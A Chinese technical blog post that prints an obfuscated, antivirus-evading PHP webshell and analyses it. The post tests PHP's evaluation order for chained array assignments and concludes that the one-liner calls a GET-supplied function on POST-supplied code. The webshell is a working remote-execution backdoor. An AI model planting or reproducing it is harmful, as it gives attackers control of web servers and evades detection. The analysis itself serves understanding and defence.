分析一个免杀webshell发现的php特性
文章首发于t00ls,嫌文章太啰嗦的可以直接看结论
起源
之前看到别人分享的一个免杀webshell:
<?php
@$GLOBALS{next} = $GLOBALS[$GLOBALS[func] = current($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS[code] = next($GLOBALS)[GLOBALS]] = $GLOBALS[$GLOBALS{func}($GLOBALS{code})];
?>
开始是百思不得其解,后来在测试过程中通过分解和删减语句渐渐的对这段代码的执行顺序产生了疑惑,所以就有了如下的简单试验
分析
假设赋值语句为:$a[x]=$b[y]=c我们都知道值传递是从右到左,那么当数组的索引也是表达式的多重赋值中,顺序是怎么样的呢,我给出了下面3种假设:
(1)
1.Y
2.$b[y]=c
3.X
4.$a[x]=$b[y]
(2)
1.Y
2.X
3.$b[y]=c
4.$a[x]=$b[y]
(3)
1.X
2.Y
3.$b[y]=c
4.$a[x]=$b[y]
为了查明正确的执行顺序,弄了个简单的实例:
<?php
$a = array(1,2,3);
$a[$a[0]=$a[1]+2] = $a[$a[1]=$a[2]-3] = 100;
var_dump($a);
?>
顺序(1)
$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[1] = $a[2] - 3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = 100
数组:$a[0] = 100,$a[1] = 0,$a[2] = 3,表达式:$a[$a[0]=$a[1]+2] = $a[0]
3.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3,表达式:$a[2] = $a[0]
4.$a[2] = $a[0] = 2
结果:$a[0] = 2,$a[1] = 0,$a[2] = 2
顺序(2)
$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[1] = $a[2]-3 = 0
数组:$a[0] = 1,$a[1] = 0,$a[2] = 3 表达式:$a[$a[0]=$a[1]+2] = $a[0] = 100
2.$a[0] = $a[1] + 2 = 2
数组:$a[0] = 2,$a[1] = 0,$a[2] = 3 表达式:$a[2] = $a[0] = 100
3.$a[2] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 100
顺序(3)
$a[0] = 1,$a[1] = 2,$a[2] = 3
1.$a[0] = $a[1]+2 = 4
数组:$a[0] = 4,$a[1] = 2,$a[2] = 3 表达式:$a[4] = $a[$a[1]=$a[2]-3] = 100
2.$a[1] = $a[2] -3 = 0
数组:$a[0] = 4,$a[1] = 0,$a[2] = 3 表达式:$a[4] = $a[0] = 100
3.$a[4] = $a[0] = 100
结果:$a[0] = 100,$a[1] = 0,$a[2] = 3,$a[4] = 100
程序运行结果:
可以知道,执行的顺序应为3,即当$a[xx]=$b[***]=$c的时候,执行的顺序是
xx -> *** -> 从右到左依次赋值
结论
再回头看webshell,正确的执行顺序应该为:
1.$GLOBALS[func]=current($GLOBALS)[GLOBALS] (_GET中的内容赋值给$GLOBALS[func])
2.$GLOBALS[code]=next($GLOBALS)[GLOBALS] (_POST中的内容赋值给$GLOBALS[code])
3.$GLOBALS{func}($GLOBALS{code}); (变量函数中传入变量)
其他的赋值语句都是混淆
分析一个免杀webshell发现的php特性的更多相关文章
- 全方位构造免杀 webshell 小结[一]
转载自https://klionsec.github.io/2017/10/11/bypasswaf-for-webshell/ 全方位构造免杀 webshell 小结[一] 前言: 本 ...
- [Anti-AV] 从攻防对抗辩证性分析jsp免杀(一)
从攻防对抗辩证性分析jsp免杀 从最早的最朴素木马 <%@ page import="java.io.InputStream" %> <%@ page impor ...
- 浅析JAVA Runtime原理与过各大厂商免杀webshell制作
Author:Sevck Date:2017年6月24日 昨天在网络尖刀老年活动中心群里,忽然想到一个问题,就是JAVA在运行Runtime执行命令的时候会不会调用bash,因为php等语言会调用ba ...
- 【转】PHP利用Apache、Nginx的特性实现免杀Webshell
转载备忘: get_defined_vars().getallheaders()是两个特性函数,我们可以通过这两个函数来构造我们的webshell. 前几天看到的,一直忘记写,填坑. 环境 函数 用法 ...
- 流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...
- 2017-2018-2 20155314《网络对抗技术》Exp3 免杀原理与实践
2017-2018-2 20155314<网络对抗技术>Exp3 免杀原理与实践 目录 实验要求 实验环境 预备知识 实验步骤 1 免杀效果实测 1.1 恶意代码生成工具 1.2 免杀效果 ...
- 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍
第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...
- 2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165322 Exp3 免杀原理与实践 目录 实验内容与步骤 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 20165114《网络对抗技术》Exp3 免杀原理与实践
Exp3 免杀原理与实践 目录 一.实验内容 二.基础问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 三.实践过程记录 正确使用msf编码器,msfv ...
随机推荐
- 1. HttpRunner介绍及环境准备
介绍 HttpRunner 是一款面向 HTTP(S) 协议的通用测试框架 只需编写维护一份 YAML/JSON脚本,即可实现自动化测试.性能测试.线上监控.持续集成等多种测试需求 官方文档: htt ...
- SQL Server 列存储索引 第三篇:维护
列存储索引分为两种类型:聚集的列存储索引和非聚集的列存储索引,在一个表上只能创建一个聚集索引,要么是聚集的列存储索引,要么是聚集的行存储索引,然而一个表上可以创建多个非聚集索引. 一,创建列存储索引 ...
- GPRS DTU工作的原理与应用场景
GPRS DTU是属于物联网无线数据终端设备的中一种,它主要是利用公用运营商的GPRS网络(又称G网)来为用户提供无线长距离数据传输的功能.一般都是采用的高性能工业级8/16/32位通信处理器和工业级 ...
- Hadoop基础------>MR框架-->WordCount
认识Mapreduce Mapreduce编程思想 Mapreduce执行流程 java版本WordCount实例 1. 简介: Mapreduce源于Google一遍论文,是谷歌Mapreduce的 ...
- 管理Pod(rc,rs,deployment)
1.概述 可以把容器想像成豆荚里的豆子,把一个或多个关系紧密的豆子包在一起就是豆荚(一个Pod).在k8s中我们不会直接操作容器,而是把容器包装成Pod再进行管理. 2.管理Pod a. 使用Repl ...
- 【漏洞复现】Shiro<=1.2.4反序列化漏洞
0x01 概述 Shiro简介 Apache Shiro是一个强大且易用的Java安全框架,执行身份验证.授权.密码和会话管理.使用Shiro的易于理解的API,您可以快速.轻松地获得任何应用程序,从 ...
- final,static,this,super 关键字总结
一.final 关键字 final关键字主要用在三个地方:变量.方法.类. 1.对于一个final变量,如果是基本数据类型的变量,则其数值一旦在初始化之后便不能更改:如果是引用类型的变量,则在对其初始 ...
- Unknown CMake command
Unknown CMake command "add_clang_library".等 在官网上照着打 发现上面错误 结果是版本问题 选好版本和选项catkin还是rosbuild
- JavaSE基础语法学习-流程控制
流程控制 用户交互Scanner Scanner**对象** 下面是创建 Scanner 对象的基本语法: Scanner s = new Scanner(System.in); 接下来我们演示一个最 ...
- C++函数四( 具有默认参数值的函数)
在C++语言中,可以设置函数形参的默认值,在调用函数时,若明确给出了实参的值,则使用相应实参的值;若没有给出相应实参的值,则使用默认的值.这将为函数调用带来方便和灵活. [示例] #include&l ...